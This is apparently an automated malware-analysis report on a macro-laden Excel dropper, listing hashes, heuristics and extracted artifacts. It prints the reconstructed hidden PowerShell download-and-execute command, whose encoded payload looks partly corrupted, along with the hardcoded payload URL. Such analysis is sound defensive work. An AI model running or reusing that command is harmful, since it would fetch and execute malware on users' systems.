Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 b098af90111bbf85…

MALICIOUS

Office (OOXML) / .XLSM

389.9 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 15.0300
MD5: 01177a296864371c4d21f4552a209513 SHA-1: 5fcf68528a41687c3dc3a814ee1bfa3deb924e35 SHA-256: b098af90111bbf857fe2e5f615e0abfccc2409c74db981096a5a5020778d691e
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

This XLSM document contains VBA macros that employ a lure to enable content, a common technique for malware droppers. Upon activation, the macro constructs and executes a PowerShell command. This command is designed to download a second-stage payload from a hardcoded URL and then execute it. The reconstructed PowerShell command is: start /MIN C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -win 1 -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBDAG4A bQBnAGYAcgBuAHAAcQB1AHkAIAAuAGUAZwBkAHAiADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiACAAaQBsAGUAaQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAWkAbABlACgAIgBhAHQAdABwADoALwAvADEAOAAuADEAOQA1AC4AMQA0AC4AMQA4ADMALwA2AC8ANwAvAEIAUwBGAF8AMA A xADEAMwAwADcAOAA1ADUAMAAwADAAМАAwADgALgBlAHgAZQAiACwAIgAkAGUAbgB2ADoAQQBQAFQARABQAEUAXwBVAHAAYwBOAGEA bQBlACIAKQ A7AFMAdABhAHIAdAAtAFMAIAAoACIAJABlAG4AdgA6AEUAUABUADQAUABQAFQAYQBQACIAKQ. The embedded URL is http://18.195.14.183/6/7/BSF_0130078500008.exe.

Heuristics 5

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA project inside OOXML medium OOXML_VBA
    Document contains vbaProject.bin — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (6) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 6 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844736
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844736
    • http://go.microsoft.com/fwlink/?LinkId=844969
    • https://go.microsoft.com/fwlink/?linkid=844749
    • https://go.microsoft.com/fwlink/?linkid=844741
    • https://go.microsoft.com/fwlink/?linkid=844732
    • https://go.microsoft.com/fwlink/?linkid=844725
    • https://go.microsoft.com/fwlink/?linkid=844742
    • https://go.microsoft.com/fwlink/?linkid=844734
    • https://go.microsoft.com/fwlink/?linkid=844751
    • https://go.microsoft.com/fwlink/?linkid=844745
    • https://go.microsoft.com/fwlink/?linkid=844743
    • https://go.microsoft.com/fwlink/?linkid=844728
    • https://go.microsoft.com/fwlink/?linkid=844746
    • https://go.microsoft.com/fwlink/?linkid=844747
    • https://go.microsoft.com/fwlink/?linkid=844726
    • https://go.microsoft.com/fwlink/?linkid=844738
    • https://go.microsoft.com/fwlink/?linkid=844735
    • https://go.microsoft.com/fwlink/?linkid=844750
    • http://go.microsoft.com/fwlink/?LinkId=846285

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
7d79e0bedb7629dd8adf206c6f52f6a4373289a1ccf8699773b94b39d2d15275		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6140 bytes
vbaProject_00.bin
2182384cceeca55d8191b06f5b32b8d78d04167f0afe172bdbce6bcffc75dcf5		 vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes

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